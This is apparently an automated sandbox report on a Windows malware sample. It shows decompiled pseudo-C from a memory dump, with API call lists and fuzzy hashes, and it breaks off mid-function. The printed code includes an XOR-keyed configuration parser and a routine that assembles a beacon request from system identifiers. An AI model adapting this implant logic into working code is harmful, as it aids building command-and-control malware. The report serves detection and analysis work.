API ID: FreeString$lstrlenmemcpymemset
String ID:
API String ID: 397948122-0
Opcode ID: 48844a8398ef9191cee8bc84edb87f89ff5f6290cd0cbbe34c030ae79c4613f0
Instruction ID: d8d2c8a47a7b4e42f028380abf092857cc5098e19b3da036bd9a473dc8808dbd
Opcode Fuzzy Hash: 48844a8398ef9191cee8bc84edb87f89ff5f6290cd0cbbe34c030ae79c4613f0
Instruction Fuzzy Hash: A6019E32500029BFCB109FA8CC54DEEBBB9EB44754F014866E995E32A0F3749D65CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 02D721CD, Relevance: 1.3, APIs: 1, Instructions: 57
memoryCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E02D721CD(void* __ecx, signed char* _a4) {
				void* _v8;
				void* _t8;
				signed short _t11;
				signed int _t12;
				signed int _t14;
				intOrPtr _t15;
				void* _t19;
				signed short* _t22;
				void* _t24;
				intOrPtr* _t27;

				_t24 = 0;
				_push(0);
				_t19 = 1;
				_t27 = 0x2d7d330;
				E02D784D5();
				while(1) {
					_t8 = E02D712D4(_a4,  &_v8); // executed
					if(_t8 == 0) {
						break;
					}
					_push(_v8);
					_t14 = 0xd;
					_t15 = E02D7809F(_t14);
					if(_t15 == 0) {
						HeapFree( *0x2d7d238, 0, _v8);
						break;
					} else {
						 *_t27 = _t15;
						_t27 = _t27 + 4;
						_t24 = _t24 + 1;
						if(_t24 < 3) {
							continue;
						} else {
						}
					}
					L7:
					_push(1);
					E02D784D5();
					if(_t19 != 0) {
						_t22 =  *0x2d7d338; // 0x5129b80
						_t11 =  *_t22 & 0x0000ffff;
						if(_t11 < 0x61 || _t11 > 0x7a) {
							_t12 = _t11 & 0x0000ffff;
						} else {
							_t12 = (_t11 & 0x0000ffff) - 0x20;
						}
						 *_t22 = _t12;
					}
					return _t19;
				}
				_t19 = 0;
				goto L7;
			}

0x02d721d5
0x02d721d9
0x02d721da
0x02d721db
0x02d721e0
0x02d721e5
0x02d721ec
0x02d721f3
0x00000000
0x00000000
0x02d721f5
0x02d721fa
0x02d721fb
0x02d72202
0x02d7221c
0x00000000
0x02d72204
0x02d72204
0x02d72206
0x02d72209
0x02d7220d
0x00000000
0x00000000
0x02d7220f
0x02d7220d
0x02d72224
0x02d72224
0x02d72226
0x02d7222d
0x02d7222f
0x02d72235
0x02d7223c
0x02d7224c
0x02d72244
0x02d72247
0x02d72247
0x02d7224f
0x02d7224f
0x02d72258
0x02d72258
0x02d72222
0x00000000

APIs

Part of subcall function 02D784D5: GetProcAddress.KERNEL32(36776F57,02D721E5), ref: 02D784F0

Part of subcall function 02D712D4: RtlAllocateHeap.NTDLL(00000000,63699BC3,00000000), ref: 02D712FF
Part of subcall function 02D712D4: RtlAllocateHeap.NTDLL(00000000,63699BC3), ref: 02D71321
Part of subcall function 02D712D4: memset.NTDLL ref: 02D7133B
Part of subcall function 02D712D4: CreateFileA.KERNELBASE(00000000,80000000,00000001,00000000,00000003,00000080,00000000,73797325), ref: 02D71379
Part of subcall function 02D712D4: GetFileTime.KERNEL32(00000000,?,00000000,00000000), ref: 02D7138D
Part of subcall function 02D712D4: FindCloseChangeNotification.KERNELBASE(00000000), ref: 02D713A4
Part of subcall function 02D712D4: StrRChrA.SHLWAPI(?,00000000,0000005C), ref: 02D713B0
Part of subcall function 02D712D4: lstrcat.KERNEL32(?,642E2A5C), ref: 02D713F1
Part of subcall function 02D712D4: FindFirstFileA.KERNELBASE(?,?), ref: 02D71407

Part of subcall function 02D7809F: lstrlen.KERNEL32(?,00000000,02D7D330,00000001,02D72200,02D7D00C,02D7D00C,00000000,00000005,00000000,00000000,?,?,?,02D796C1,02D723E9), ref: 02D780A8
Part of subcall function 02D7809F: mbstowcs.NTDLL ref: 02D780CF
Part of subcall function 02D7809F: memset.NTDLL ref: 02D780E1

HeapFree.KERNEL32(00000000,02D7D00C,02D7D00C,02D7D00C,00000000,00000005,00000000,00000000,?,?,?,02D796C1,02D723E9,02D7D00C,?,02D723E9), ref: 02D7221C

Memory Dump Source

Source File: 00000005.00000002.487736780.0000000002D71000.00000020.00000001.sdmp, Offset: 02D70000, based on PE: true

Associated: 00000005.00000002.487709862.0000000002D70000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487780735.0000000002D7C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.487791119.0000000002D7D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487804985.0000000002D7F000.00000002.00000001.sdmp Download File

Similarity

API ID: FileHeap$AllocateFindmemset$AddressChangeCloseCreateFirstFreeNotificationProcTimelstrcatlstrlenmbstowcs
String ID:
API String ID: 983081259-0
Opcode ID: 56ce01a8abf40e52adbd2395356f984aed642af1282924a5709540d9e39f1004
Instruction ID: 4e03b04f5835b274a1c5239b89fde84db5b4b6377b0ece10fc7f6871f3ee7adb
Opcode Fuzzy Hash: 56ce01a8abf40e52adbd2395356f984aed642af1282924a5709540d9e39f1004
Instruction Fuzzy Hash: F301D835600244AEE7005EE6DC89F6A76EAEF65368F508036BD84D6360F76DDC41E770

Uniqueness

Uniqueness Score: -1.00%

Function 02D71262, Relevance: 1.3, APIs: 1, Instructions: 41
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E02D71262(void** __esi, intOrPtr _a4, unsigned int _a8, void* _a12) {
				signed short _t18;
				void* _t24;
				signed int _t26;
				signed short _t27;

				if(_a4 != 0) {
					_t18 = E02D79318(_a4, _a8, _a12, __esi); // executed
					_t27 = _t18;
				} else {
					_t27 = E02D76BFA(0, 0x80000002, _a8, _a12,  &_a12,  &_a8);
					if(_t27 == 0) {
						_t26 = _a8 >> 1;
						if(_t26 == 0) {
							_t27 = 2;
							HeapFree( *0x2d7d238, 0, _a12);
						} else {
							_t24 = _a12;
							 *(_t24 + _t26 * 2 - 2) =  *(_t24 + _t26 * 2 - 2) & _t27;
							 *__esi = _t24;
						}
					}
				}
				return _t27;
			}

0x02d7126a
0x02d712bf
0x02d712c4
0x02d7126c
0x02d71286
0x02d7128a
0x02d7128f
0x02d71291
0x02d712a1
0x02d712ad
0x02d71293
0x02d71293
0x02d71296
0x02d7129b
0x02d7129b
0x02d71291
0x02d7128a
0x02d712ca

APIs

HeapFree.KERNEL32(00000000,?,00000000,80000002,74B5F710,?,?,74B5F710,00000000,?,02D7743A,?,004F0053,05129388,00000000,?), ref: 02D712AD

Memory Dump Source

Source File: 00000005.00000002.487736780.0000000002D71000.00000020.00000001.sdmp, Offset: 02D70000, based on PE: true

Associated: 00000005.00000002.487709862.0000000002D70000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487780735.0000000002D7C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.487791119.0000000002D7D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487804985.0000000002D7F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 44db60ba090ea3b36905ca7c224490cef6ce14042068e1fe915e4c2d99ef6218
Instruction ID: 23a049de921cc09d4ba9eb9a0495f802c2bd2296c74ece032b2cf2425eb62b46
Opcode Fuzzy Hash: 44db60ba090ea3b36905ca7c224490cef6ce14042068e1fe915e4c2d99ef6218
Instruction Fuzzy Hash: 0E016D32140249FBCB228F44CC02FAA3BB6EF94360F14C529FA199A260E734D821CB50

Uniqueness

Uniqueness Score: -1.00%

Function 02D72436, Relevance: 1.3, APIs: 1, Instructions: 36
sleepCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E02D72436(intOrPtr* __edi) {
				intOrPtr _v8;
				char _v12;
				intOrPtr _v16;
				intOrPtr _t15;
				intOrPtr* _t21;

				_t21 = __edi;
				_push( &_v12);
				_push(__edi);
				_v8 = 0x1d4c0;
				_t15 =  *((intOrPtr*)( *__edi + 0xe0))();
				while(1) {
					_v16 = _t15;
					Sleep(0x1f4); // executed
					if(_v12 == 4) {
						break;
					}
					if(_v8 == 0) {
						L4:
						_t15 =  *((intOrPtr*)( *_t21 + 0xe0))(_t21,  &_v12);
						continue;
					} else {
						if(_v8 <= 0x1f4) {
							_v16 = 0x80004004;
						} else {
							_v8 = _v8 - 0x1f4;
							goto L4;
						}
					}
					L8:
					return _v16;
				}
				goto L8;
			}

0x02d72436
0x02d72443
0x02d72444
0x02d72445
0x02d7244c
0x02d7247a
0x02d7247b
0x02d7247e
0x02d72484
0x00000000
0x00000000
0x02d72463
0x02d7246d
0x02d72474
0x00000000
0x02d72465
0x02d72468
0x02d72488
0x02d7246a
0x02d7246a
0x00000000
0x02d7246a
0x02d72468
0x02d7248f
0x02d72495
0x02d72495
0x00000000

APIs

Sleep.KERNELBASE(000001F4), ref: 02D7247E

Memory Dump Source

Source File: 00000005.00000002.487736780.0000000002D71000.00000020.00000001.sdmp, Offset: 02D70000, based on PE: true

Associated: 00000005.00000002.487709862.0000000002D70000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487780735.0000000002D7C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.487791119.0000000002D7D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487804985.0000000002D7F000.00000002.00000001.sdmp Download File

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 3f26d03ccf2b6797dcb4cb3d66e476f2ad4844b8e98d6ad06f35abf6eb122f68
Instruction ID: 58d58816e05a7713248a8fc73ad7e8435de0302022e30a275c342d9f9e9d7eb1
Opcode Fuzzy Hash: 3f26d03ccf2b6797dcb4cb3d66e476f2ad4844b8e98d6ad06f35abf6eb122f68
Instruction Fuzzy Hash: 10F03C71C11259EFDB00DB94C488AEDB7B8EF14309F1080BAE90263201E3B85F44CF61

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 02D74094, Relevance: 9.2, APIs: 6, Instructions: 223
memoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

			E02D74094(int* __ecx) {
				int _v8;
				void* _v12;
				void* __esi;
				signed int _t20;
				signed int _t25;
				char* _t31;
				char* _t32;
				char* _t33;
				char* _t34;
				char* _t35;
				void* _t36;
				void* _t37;
				void* _t38;
				intOrPtr _t39;
				void* _t41;
				intOrPtr _t42;
				intOrPtr _t43;
				signed int _t46;
				intOrPtr _t49;
				signed int _t50;
				signed int _t55;
				void* _t57;
				void* _t58;
				signed int _t60;
				signed int _t64;
				signed int _t68;
				signed int _t72;
				signed int _t76;
				signed int _t80;
				void* _t85;
				intOrPtr _t102;

				_t86 = __ecx;
				_t20 =  *0x2d7d278; // 0x63699bc3
				if(E02D78748( &_v12,  &_v8, _t20 ^ 0x8241c5a7) != 0 && _v8 >= 0x90) {
					 *0x2d7d2d4 = _v12;
				}
				_t25 =  *0x2d7d278; // 0x63699bc3
				if(E02D78748( &_v12,  &_v8, _t25 ^ 0xecd84622) == 0) {
					_push(2);
					_pop(0);
					goto L60;
				} else {
					_t85 = _v12;
					if(_t85 == 0) {
						_t31 = 0;
					} else {
						_t80 =  *0x2d7d278; // 0x63699bc3
						_t31 = E02D73F7C(_t86, _t85, _t80 ^ 0x724e87bc);
					}
					if(_t31 != 0) {
						_t86 =  &_v8;
						if(StrToIntExA(_t31, 0,  &_v8) != 0) {
							 *0x2d7d240 = _v8;
						}
					}
					if(_t85 == 0) {
						_t32 = 0;
					} else {
						_t76 =  *0x2d7d278; // 0x63699bc3
						_t32 = E02D73F7C(_t86, _t85, _t76 ^ 0x2b40cc40);
					}
					if(_t32 != 0) {
						_t86 =  &_v8;
						if(StrToIntExA(_t32, 0,  &_v8) != 0) {
							 *0x2d7d244 = _v8;
						}
					}
					if(_t85 == 0) {
						_t33 = 0;
					} else {
						_t72 =  *0x2d7d278; // 0x63699bc3
						_t33 = E02D73F7C(_t86, _t85, _t72 ^ 0x3b27c2e6);
					}
					if(_t33 != 0) {
						_t86 =  &_v8;
						if(StrToIntExA(_t33, 0,  &_v8) != 0) {
							 *0x2d7d248 = _v8;
						}
					}
					if(_t85 == 0) {
						_t34 = 0;
					} else {
						_t68 =  *0x2d7d278; // 0x63699bc3
						_t34 = E02D73F7C(_t86, _t85, _t68 ^ 0x0602e249);
					}
					if(_t34 != 0) {
						_t86 =  &_v8;
						if(StrToIntExA(_t34, 0,  &_v8) != 0) {
							 *0x2d7d004 = _v8;
						}
					}
					if(_t85 == 0) {
						_t35 = 0;
					} else {
						_t64 =  *0x2d7d278; // 0x63699bc3
						_t35 = E02D73F7C(_t86, _t85, _t64 ^ 0x3603764c);
					}
					if(_t35 != 0) {
						_t86 =  &_v8;
						if(StrToIntExA(_t35, 0,  &_v8) != 0) {
							 *0x2d7d02c = _v8;
						}
					}
					if(_t85 == 0) {
						_t36 = 0;
					} else {
						_t60 =  *0x2d7d278; // 0x63699bc3
						_t36 = E02D73F7C(_t86, _t85, _t60 ^ 0x2cc1f2fd);
					}
					if(_t36 != 0) {
						_push(_t36);
						_t57 = 0x10;
						_t58 = E02D76ED2(_t57);
						if(_t58 != 0) {
							_push(_t58);
							E02D7A5D6();
						}
					}
					if(_t85 == 0) {
						_t37 = 0;
					} else {
						_t55 =  *0x2d7d278; // 0x63699bc3
						_t37 = E02D73F7C(_t86, _t85, _t55 ^ 0xb30fc035);
					}
					if(_t37 != 0 && E02D76ED2(0, _t37) != 0) {
						_t102 =  *0x2d7d32c; // 0x51295b0
						E02D775E9(_t102 + 4, _t53);
					}
					if(_t85 == 0) {
						_t38 = 0;
					} else {
						_t50 =  *0x2d7d278; // 0x63699bc3
						_t38 = E02D73F7C(_t86, _t85, _t50 ^ 0x372ab5b7);
					}
					if(_t38 == 0) {
						L51:
						_t39 =  *0x2d7d27c; // 0x23aa5a8
						_t18 = _t39 + 0x2d7e252; // 0x616d692f
						 *0x2d7d2d0 = _t18;
						goto L52;
					} else {
						_t49 = E02D76ED2(0, _t38);
						 *0x2d7d2d0 = _t49;
						if(_t49 != 0) {
							L52:
							if(_t85 == 0) {
								_t41 = 0;
							} else {
								_t46 =  *0x2d7d278; // 0x63699bc3
								_t41 = E02D73F7C(_t86, _t85, _t46 ^ 0xd8dc5cde);
							}
							if(_t41 == 0) {
								_t42 =  *0x2d7d27c; // 0x23aa5a8
								_t19 = _t42 + 0x2d7e791; // 0x6976612e
								_t43 = _t19;
							} else {
								_t43 = E02D76ED2(0, _t41);
							}
							 *0x2d7d340 = _t43;
							HeapFree( *0x2d7d238, 0, _t85);
							L60:
							return 0;
						}
						goto L51;
					}
				}
			}

0x02d74094
0x02d74097
0x02d740b7
0x02d740c5
0x02d740c5
0x02d740ca
0x02d740e4
0x02d742e2
0x02d742e4
0x00000000
0x02d740ea
0x02d740ea
0x02d740f1
0x02d74107
0x02d740f3
0x02d740f3
0x02d74100
0x02d74100
0x02d74111
0x02d74113
0x02d7411d
0x02d74122
0x02d74122
0x02d7411d
0x02d74129
0x02d7413f
0x02d7412b
0x02d7412b
0x02d74138
0x02d74138
0x02d74143
0x02d74145
0x02d7414f
0x02d74154
0x02d74154
0x02d7414f
0x02d7415b
0x02d74171
0x02d7415d
0x02d7415d
0x02d7416a
0x02d7416a
0x02d74175
0x02d74177
0x02d74181
0x02d74186
0x02d74186
0x02d74181
0x02d7418d
0x02d741a3
0x02d7418f
0x02d7418f
0x02d7419c
0x02d7419c
0x02d741a7
0x02d741a9
0x02d741b3
0x02d741b8
0x02d741b8
0x02d741b3
0x02d741bf
0x02d741d5
0x02d741c1
0x02d741c1
0x02d741ce
0x02d741ce
0x02d741d9
0x02d741db
0x02d741e5
0x02d741ea
0x02d741ea
0x02d741e5
0x02d741f1
0x02d74207
0x02d741f3
0x02d741f3
0x02d74200
0x02d74200
0x02d7420b
0x02d7420d
0x02d74210
0x02d74211
0x02d74218
0x02d7421a
0x02d7421b
0x02d7421b
0x02d74218
0x02d74222
0x02d74238
0x02d74224
0x02d74224
0x02d74231
0x02d74231
0x02d7423c
0x02d7424a
0x02d74254
0x02d74254
0x02d7425b
0x02d74271
0x02d7425d
0x02d7425d
0x02d7426a
0x02d7426a
0x02d74275
0x02d74288
0x02d74288
0x02d7428d
0x02d74293
0x00000000
0x02d74277
0x02d7427a
0x02d74281
0x02d74286
0x02d74298
0x02d7429a
0x02d742b0
0x02d7429c
0x02d7429c
0x02d742a9
0x02d742a9
0x02d742b4
0x02d742c0
0x02d742c5
0x02d742c5
0x02d742b6
0x02d742b9
0x02d742b9
0x02d742d3
0x02d742d8
0x02d742e5
0x02d742e9
0x02d742e9
0x00000000
0x02d74286
0x02d74275

APIs

StrToIntExA.SHLWAPI(00000000,00000000,?,02D723DE,?,63699BC3,02D723DE,?,63699BC3,00000005,02D7D00C,00000008,?,02D723DE), ref: 02D74119
StrToIntExA.SHLWAPI(00000000,00000000,?,02D723DE,?,63699BC3,02D723DE,?,63699BC3,00000005,02D7D00C,00000008,?,02D723DE), ref: 02D7414B
StrToIntExA.SHLWAPI(00000000,00000000,?,02D723DE,?,63699BC3,02D723DE,?,63699BC3,00000005,02D7D00C,00000008,?,02D723DE), ref: 02D7417D
StrToIntExA.SHLWAPI(00000000,00000000,?,02D723DE,?,63699BC3,02D723DE,?,63699BC3,00000005,02D7D00C,00000008,?,02D723DE), ref: 02D741AF
StrToIntExA.SHLWAPI(00000000,00000000,?,02D723DE,?,63699BC3,02D723DE,?,63699BC3,00000005,02D7D00C,00000008,?,02D723DE), ref: 02D741E1
HeapFree.KERNEL32(00000000,02D723DE,02D723DE,?,63699BC3,02D723DE,?,63699BC3,00000005,02D7D00C,00000008,?,02D723DE), ref: 02D742D8

Memory Dump Source

Source File: 00000005.00000002.487736780.0000000002D71000.00000020.00000001.sdmp, Offset: 02D70000, based on PE: true

Associated: 00000005.00000002.487709862.0000000002D70000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487780735.0000000002D7C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.487791119.0000000002D7D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487804985.0000000002D7F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: fda162e5794ce8699a30602ede29b235fd11c2fb314074be33bbff4be1a89a43
Instruction ID: bfee3308fb29481aabaf017f0e25a61d92e8e234c6eff09a0efbb5c82930e445
Opcode Fuzzy Hash: fda162e5794ce8699a30602ede29b235fd11c2fb314074be33bbff4be1a89a43
Instruction Fuzzy Hash: D66183B0A10114AADB12EBB4DC84D6BB7FEDF68254B648E65A901E7304FB3CDD55CB20

Uniqueness

Uniqueness Score: -1.00%

Function 02D7A279, Relevance: 34.7, APIs: 23, Instructions: 201
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 66%

			E02D7A279(long __eax, void* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a12, void* _a16, void* _a24, intOrPtr _a32) {
				intOrPtr _v0;
				intOrPtr _v4;
				intOrPtr _v16;
				intOrPtr _v24;
				intOrPtr _v28;
				void* _v44;
				intOrPtr _v52;
				void* __edi;
				long _t25;
				intOrPtr _t26;
				intOrPtr _t27;
				intOrPtr _t28;
				intOrPtr _t29;
				intOrPtr _t30;
				void* _t33;
				intOrPtr _t34;
				int _t37;
				intOrPtr _t42;
				intOrPtr _t43;
				intOrPtr _t50;
				intOrPtr _t54;
				intOrPtr* _t56;
				intOrPtr _t62;
				intOrPtr _t68;
				intOrPtr _t71;
				intOrPtr _t74;
				int _t77;
				intOrPtr _t78;
				int _t81;
				intOrPtr _t83;
				int _t86;
				intOrPtr* _t89;
				intOrPtr* _t90;
				void* _t91;
				void* _t95;
				void* _t96;
				void* _t97;
				intOrPtr _t98;
				void* _t100;
				int _t101;
				void* _t102;
				void* _t103;
				void* _t105;
				void* _t106;
				void* _t108;

				_t95 = __edx;
				_t91 = __ecx;
				_t25 = __eax;
				_t105 = _a16;
				_v4 = 8;
				if(__eax == 0) {
					_t25 = GetTickCount();
				}
				_t26 =  *0x2d7d018; // 0x139c7884
				asm("bswap eax");
				_t27 =  *0x2d7d014; // 0x3a87c8cd
				asm("bswap eax");
				_t28 =  *0x2d7d010; // 0xd8d2f808
				asm("bswap eax");
				_t29 =  *0x2d7d00c; // 0xeec43f25
				asm("bswap eax");
				_t30 =  *0x2d7d27c; // 0x23aa5a8
				_t3 = _t30 + 0x2d7e633; // 0x74666f73
				_t101 = wsprintfA(_t105, _t3, 2, 0x3d14b, _t29, _t28, _t27, _t26,  *0x2d7d02c,  *0x2d7d004, _t25);
				_t33 = E02D71C1A();
				_t34 =  *0x2d7d27c; // 0x23aa5a8
				_t4 = _t34 + 0x2d7e673; // 0x74707526
				_t37 = wsprintfA(_t101 + _t105, _t4, _t33);
				_t108 = _t106 + 0x38;
				_t102 = _t101 + _t37;
				_t96 = E02D754BC(_t91);
				if(_t96 != 0) {
					_t83 =  *0x2d7d27c; // 0x23aa5a8
					_t6 = _t83 + 0x2d7e8eb; // 0x736e6426
					_t86 = wsprintfA(_t102 + _t105, _t6, _t96);
					_t108 = _t108 + 0xc;
					_t102 = _t102 + _t86;
					HeapFree( *0x2d7d238, 0, _t96);
				}
				_t97 = E02D77649();
				if(_t97 != 0) {
					_t78 =  *0x2d7d27c; // 0x23aa5a8
					_t8 = _t78 + 0x2d7e8f3; // 0x6f687726
					_t81 = wsprintfA(_t102 + _t105, _t8, _t97);
					_t108 = _t108 + 0xc;
					_t102 = _t102 + _t81;
					HeapFree( *0x2d7d238, 0, _t97);
				}
				_t98 =  *0x2d7d32c; // 0x51295b0
				_a32 = E02D79395(0x2d7d00a, _t98 + 4);
				_t42 =  *0x2d7d2cc; // 0x0
				if(_t42 != 0) {
					_t74 =  *0x2d7d27c; // 0x23aa5a8
					_t11 = _t74 + 0x2d7e8cd; // 0x3d736f26
					_t77 = wsprintfA(_t102 + _t105, _t11, _t42);
					_t108 = _t108 + 0xc;
					_t102 = _t102 + _t77;
				}
				_t43 =  *0x2d7d2c8; // 0x0
				if(_t43 != 0) {
					_t71 =  *0x2d7d27c; // 0x23aa5a8
					_t13 = _t71 + 0x2d7e8c6; // 0x3d706926
					wsprintfA(_t102 + _t105, _t13, _t43);
				}
				if(_a32 != 0) {
					_t100 = RtlAllocateHeap( *0x2d7d238, 0, 0x800);
					if(_t100 != 0) {
						E02D77A80(GetTickCount());
						_t50 =  *0x2d7d32c; // 0x51295b0
						__imp__(_t50 + 0x40);
						asm("lock xadd [eax], ecx");
						_t54 =  *0x2d7d32c; // 0x51295b0
						__imp__(_t54 + 0x40);
						_t56 =  *0x2d7d32c; // 0x51295b0
						_t103 = E02D78307(1, _t95, _t105,  *_t56);
						asm("lock xadd [eax], ecx");
						if(_t103 != 0) {
							StrTrimA(_t103, 0x2d7c2ac);
							_push(_t103);
							_t62 = E02D73CC8();
							_v16 = _t62;
							if(_t62 != 0) {
								_t89 = __imp__;
								 *_t89(_t103, _v0);
								 *_t89(_t100, _a4);
								_t90 = __imp__;
								 *_t90(_t100, _v28);
								 *_t90(_t100, _t103);
								_t68 = E02D71199(0xffffffffffffffff, _t100, _v28, _v24);
								_v52 = _t68;
								if(_t68 != 0 && _t68 != 0x10d2) {
									E02D7A1B0();
								}
								HeapFree( *0x2d7d238, 0, _v44);
							}
							HeapFree( *0x2d7d238, 0, _t103);
						}
						HeapFree( *0x2d7d238, 0, _t100);
					}
					HeapFree( *0x2d7d238, 0, _a24);
				}
				HeapFree( *0x2d7d238, 0, _t105);
				return _a12;
			}

0x02d7a279
0x02d7a279
0x02d7a279
0x02d7a280
0x02d7a286
0x02d7a28e
0x02d7a290
0x02d7a290
0x02d7a29d
0x02d7a2a8
0x02d7a2ab
0x02d7a2b6
0x02d7a2b9
0x02d7a2be
0x02d7a2c1
0x02d7a2c6
0x02d7a2c9
0x02d7a2d5
0x02d7a2e2
0x02d7a2e4
0x02d7a2ea
0x02d7a2ef
0x02d7a2fa
0x02d7a2fc
0x02d7a2ff
0x02d7a306
0x02d7a30a
0x02d7a30c
0x02d7a311
0x02d7a31d
0x02d7a31f
0x02d7a32b
0x02d7a32d
0x02d7a32d
0x02d7a338
0x02d7a33c
0x02d7a33e
0x02d7a343
0x02d7a34f
0x02d7a351
0x02d7a35d
0x02d7a35f
0x02d7a35f
0x02d7a365
0x02d7a378
0x02d7a37c
0x02d7a383
0x02d7a386
0x02d7a38b
0x02d7a396
0x02d7a398
0x02d7a39b
0x02d7a39b
0x02d7a39d
0x02d7a3a4
0x02d7a3a7
0x02d7a3ac
0x02d7a3b6
0x02d7a3b8
0x02d7a3c0
0x02d7a3d9
0x02d7a3dd
0x02d7a3e9
0x02d7a3ee
0x02d7a3f7
0x02d7a408
0x02d7a40c
0x02d7a415
0x02d7a41b
0x02d7a428
0x02d7a435
0x02d7a43b
0x02d7a447
0x02d7a44d
0x02d7a44e
0x02d7a455
0x02d7a459
0x02d7a45f
0x02d7a466
0x02d7a46d
0x02d7a473
0x02d7a47a
0x02d7a47e
0x02d7a489
0x02d7a490
0x02d7a494
0x02d7a49d
0x02d7a49d
0x02d7a4ae
0x02d7a4ae
0x02d7a4bd
0x02d7a4bd
0x02d7a4cc
0x02d7a4cc
0x02d7a4de
0x02d7a4de
0x02d7a4ed
0x02d7a4fe

APIs

GetTickCount.KERNEL32 ref: 02D7A290
wsprintfA.USER32 ref: 02D7A2DD
wsprintfA.USER32 ref: 02D7A2FA
wsprintfA.USER32 ref: 02D7A31D
HeapFree.KERNEL32(00000000,00000000), ref: 02D7A32D
wsprintfA.USER32 ref: 02D7A34F
HeapFree.KERNEL32(00000000,00000000), ref: 02D7A35F
wsprintfA.USER32 ref: 02D7A396
wsprintfA.USER32 ref: 02D7A3B6
RtlAllocateHeap.NTDLL(00000000,00000800), ref: 02D7A3D3
GetTickCount.KERNEL32 ref: 02D7A3E3
RtlEnterCriticalSection.NTDLL(05129570), ref: 02D7A3F7
RtlLeaveCriticalSection.NTDLL(05129570), ref: 02D7A415

Part of subcall function 02D78307: lstrlen.KERNEL32(00000000,253D7325,00000000,00000000,7742C740,?,?,02D7A428,?,051295B0), ref: 02D78332
Part of subcall function 02D78307: lstrlen.KERNEL32(?,?,?,02D7A428,?,051295B0), ref: 02D7833A
Part of subcall function 02D78307: strcpy.NTDLL ref: 02D78351
Part of subcall function 02D78307: lstrcat.KERNEL32(00000000,?), ref: 02D7835C
Part of subcall function 02D78307: StrTrimA.SHLWAPI(00000000,=,00000000,00000000,?,?,?,02D7A428,?,051295B0), ref: 02D78379

StrTrimA.SHLWAPI(00000000,02D7C2AC,?,051295B0), ref: 02D7A447

Part of subcall function 02D73CC8: lstrlen.KERNEL32(05129910,00000000,00000000,7742C740,02D7A453,00000000), ref: 02D73CD8
Part of subcall function 02D73CC8: lstrlen.KERNEL32(?), ref: 02D73CE0
Part of subcall function 02D73CC8: lstrcpy.KERNEL32(00000000,05129910), ref: 02D73CF4
Part of subcall function 02D73CC8: lstrcat.KERNEL32(00000000,?), ref: 02D73CFF

lstrcpy.KERNEL32(00000000,?), ref: 02D7A466
lstrcpy.KERNEL32(00000000,00000000), ref: 02D7A46D
lstrcat.KERNEL32(00000000,?), ref: 02D7A47A
lstrcat.KERNEL32(00000000,00000000), ref: 02D7A47E

Part of subcall function 02D71199: WaitForSingleObject.KERNEL32(00000000,00000000,00000000,74B481D0), ref: 02D7124B

HeapFree.KERNEL32(00000000,?,00000000,?,?), ref: 02D7A4AE
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 02D7A4BD
HeapFree.KERNEL32(00000000,00000000,?,051295B0), ref: 02D7A4CC
HeapFree.KERNEL32(00000000,00000000), ref: 02D7A4DE
HeapFree.KERNEL32(00000000,?), ref: 02D7A4ED

Memory Dump Source

Source File: 00000005.00000002.487736780.0000000002D71000.00000020.00000001.sdmp, Offset: 02D70000, based on PE: true

Associated: 00000005.00000002.487709862.0000000002D70000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487780735.0000000002D7C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.487791119.0000000002D7D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487804985.0000000002D7F000.00000002.00000001.sdmp Download File

Similarity

API ID: Heap$Free$wsprintf$lstrcatlstrlen$lstrcpy$CountCriticalSectionTickTrim$AllocateEnterLeaveObjectSingleWaitstrcpy
String ID:
API String ID: 3080378247-0
Opcode ID: e29bc0fcc2e8ed5bf4b1285a9f7d1667f55a357cdfc6637016ff99d5c3ae496d
Instruction ID: 0e386140e7fb8d5c2fb47227913984e1dc09e7ec38653521ea22160b68bb6c6d
Opcode Fuzzy Hash: e29bc0fcc2e8ed5bf4b1285a9f7d1667f55a357cdfc6637016ff99d5c3ae496d
Instruction Fuzzy Hash: A661AB71980200AFC7119B64EC48F5A77EAEF48314F154926F948D6320FB2DED2A9B65

Uniqueness

Uniqueness Score: -1.00%

Function 02D7ADE5, Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 209
libraryCOMMON

Download Yara Rule

C-Code - Quality: 51%

			E02D7ADE5(long _a4, long _a8) {
				signed int _v8;
				intOrPtr _v16;
				LONG* _v28;
				long _v40;
				long _v44;
				long _v48;
				CHAR* _v52;
				long _v56;
				CHAR* _v60;
				long _v64;
				signed int* _v68;
				char _v72;
				signed int _t76;
				signed int _t80;
				signed int _t81;
				intOrPtr* _t82;
				intOrPtr* _t83;
				intOrPtr* _t85;
				intOrPtr* _t90;
				intOrPtr* _t95;
				intOrPtr* _t98;
				void* _t102;
				intOrPtr* _t104;
				void* _t115;
				long _t116;
				void _t125;
				void* _t131;
				signed short _t133;
				struct HINSTANCE__* _t138;
				signed int* _t139;

				_t139 = _a4;
				_v28 = _t139[2] + 0x2d70000;
				_t115 = _t139[3] + 0x2d70000;
				_t131 = _t139[4] + 0x2d70000;
				_v8 = _t139[7];
				_v60 = _t139[1] + 0x2d70000;
